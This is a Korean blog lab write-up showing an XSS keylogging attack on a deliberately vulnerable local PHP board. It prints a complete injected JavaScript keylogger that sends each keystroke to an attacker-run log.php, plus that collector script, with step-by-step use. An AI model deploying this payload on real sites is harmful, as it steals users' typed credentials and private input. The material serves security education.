Web/웹해킹

[Web] XSS를 이용한 웹 키로깅 공격 실습

luckyd8 2025. 7. 21. 10:17

 

 

실습은 XSS 취약점을 갖도록 구현한 PHP 페이지에서 진행했다.

이번 실습은 XSS 취약점을 가진 게시판에 악성 스크립트를 삽입한 뒤, 다른 사용자가 해당 게시글을 열람했을 때 키로거가 작동해 사용자가 입력한 모든 글자를 공격자 서버로 전송하는 것을 목표로 한다. 

사용자의 입력값을 공격자가 직접 열람할 수 있게 함으로써 키 입력 감시 및 탈취 등이 가능하다는 보안 문제를 확인할 수 있다. 

 

1. 공격자 서버

공격자 서버는 피해자가 입력한 키보드 입력값을 수집하여 저장하는 역할을 한다. 공격자 서버는 사용자로부터 전송된 키 입력 데이터를받아 strokes.txt 파일에 저장해, 실시간으로 조회 가능하도록 기능한다.  

 

xampp 환경에서 PHP를 사용해 공격자 서버를 구현했다. 폴더 구조는 다음과 같다. 

C:\xampp\htdocs\attacker\
logger.php ← 공격자 서버 strokes.txt ← 사용자 입력값 기록 파일

 

 

공격자 서버 (log.php) 코드

아래 코드는 공격자가 운영하는 서버에 위치하는 log.php 이다. 사용자의 키 입력을 받아 strokes.txt 파일에 기록하는 역할을 한다. 

<?php
if (!empty($_GET['c'])) { // GET 파라미터에 'c'가 존재하고, 빈 값이 아니라면 내부 코드 실행
    $logfile = fopen('strokes.txt', 'a+'); // strokes.txt 파일을 열거나 생성
    fwrite($logfile, $_GET['c']); // 사용자 입력값을 파일에 저장
    fclose($logfile); // 파일 닫기
}
?>
더보기

코드 분석

 

if (!empty($_GET['c']))

- empty( ): 값이 비어있는지 확인하는 함수 (null, ' ', 0, false 값 등은 전부 empty 처리)

-  $_GET['c']: URL 쿼리 스트링에서 파라미터 이름이 ‘c’인 값을 가져옴

http://localhost/attacker/log.php?c=a
- ? 뒤에 나오는 부분을 쿼리 스트링 또는 쿼리 파라미터라고 함
  - 파라미터: 쿼리 스트링 내에서 이름(키) 부분을 의미함  → c
  - 파라미터 값: 파라미터에 대응되는 값 → a (= $_GET[’c’])

 

$logfile = fopen('strokes.txt', 'a+');

- foepn(’파일 경로 및 파일명’, ‘파일 열기 모드’): 파일을 열거나, 없으면 새로 만들어서 파일 핸들(접근 권한)을 가져옴

  + 'a+': 파일을 읽고 쓰는 기능을 모두 가능하게 하는 모드, 기존 내용은 유지하고 새로 입력된 내용이 뒤에 추가됨

  + 'strokes.txt': 사용자의 입력값이 저장되는 파일 

 

fwrite($logfile, $_GET['c'])
- fwrite(’파일 핸들’, ‘작성할 내용’): 파일에 데이터를 작성하는 함수
  + $logfile: 위에서 연(fopen) 파일(strokes.txt) 핸들
  + $_GET['c']: 키로깅한 값 (사용자 입력값)
 
fclose($logfile);

- fclose($열린 파일 핸들): 파일을 닫는 함수

 

2. 공격자 코드 (악성스크립트)

XSS 공격을 위해, 게시판 글에는 다음과 같은 자바스크립트 코드를 삽입할 수 있다. 

이 코드는 사용자의 키보드 입력을 가로채어 공격자 서버로 전송하는 역할을 한다. 사용자가 글을 조회하는 순간 자동으로 실행되며, 입력창에 타이핑하는 모든 키보드 입력이 공격자 서버로 전송된다. 

<script>
document.addEventListener('keypress', function(e) { // 사용자가 키보드를 누를 때마다 이벤트 발생(→ 코드 실행)
    var xhr = new XMLHttpRequest(); // XMLHttpRequest 객체 생성
    xhr.open('GET', 'http://localhost/attacker/log.php?c=' + encodeURIComponent(e.key), true); // GET 방식으로 공격자 서버(log.php)에 키 입력값 전송 준비
    xhr.send(); // 요청 전송
});
</script>
더보기

코드 분석

 

document.addEventListener('keypress', function(e)

- document: 현재 브라우저 화면에 표시된 HTML 전체 문서를 의미

- addEvenListener('수신할 이벤트 이름(문자열)', 호출 함수(콜백 함수)): 특정 요소에 대해 지정한 이벤트가 발생했을 때, 원하는 함수를 실행하도록 하는 메서드

  + keypress: 키보드 입력 이벤트, 문자 입력 키(영문, 숫자 등)만 감지 가능 (방향키, Backspace 등은 감지 불가)

  + function(e): 이벤트 핸들러(콜백 함수)로 정의한 함수

    + e: 이벤트 객체 (이벤트가 발생할 때마다 브라우저가 내부에서 만들어 전달하는 정보 덩어리

    + e.key: 이벤트가 키보드 이벤트일 때, 누른 키의 문자를 나타내는 속성

 

var xhr = new XMLHttpRequest();

- xhr: XMLHttpRequest 객체의 인스턴스

  + XMLHttoRequest: 브라우저에 내장된 자바스크립트 객체(생성자 함수)

    + 웹 페이지에서 서버와 비동기적으로 데이터를 교환할 수 있도록 함 (웹 서버에 요청을 보내고 응답을 받아오는 도구)

1. XMLHttpRequest 라는 내장 생성자 함수를 호출함 (new 를 통해 새로운 객체 '인스턴스'를 생성함)
2. 인스턴스를 변수 xhr에 저장함 (즉, xhr = 인스턴스) 

 

xhr.open('GET', 'http://localhost/attacker/log.php?c=' + encodeURIComponent(e.key), true);

- xhr.open: 서버와 연결

- xhr.open(method, url, async)

  + method: 'GET' → 서버에 데이터를 보내는 방식 

  + url: 'http://localhost/attacker/log.php?c=' + encodeURIComponent(e.key)

     → 사용자가 누른 키(e.key)를 c라는 파라미터 값으로 GET 요청 URL에 붙여 공격자 서버로 전송

  + async: ture → 비동기적으로 요청 (멈추지 않고 요청 수행)

 

xhr.send();

- xhr.send: 위에서 준비한 HTTP 요청을 전송

 

3. 실습 시작

(1) 공격자 아이디(attacker)로 로그인한 뒤, 공격자 코드(악성 스크립트)를 포함한 게시글을 작성한다.

 

(2) 다른 사용자가 해당 게시글에 댓글을 작성하면, 입력하는 키 값이 실시간으로 공격자 서버에 전송되어 저장된다. 이를 통해 공격자는 사용자의 입력 내용을 그대로 확인할 수 있다.

 

사용자가 아이디, 패스워드 등의 개인정보를 댓글에 입력할 경우, 공격자는 이를 그대로 확인할 수 있다. 

물론 댓글에 민감한 정보를 입력하는 일은 드물지만, 사용자의 실수, 악의적인 유도 또는 비밀댓글 기능 등을 통해 입력될 가능성은 항상 존재한다. 따라서 입력창이 위치한 모든 곳에서의 보안을 고려하는 것은 중요하다.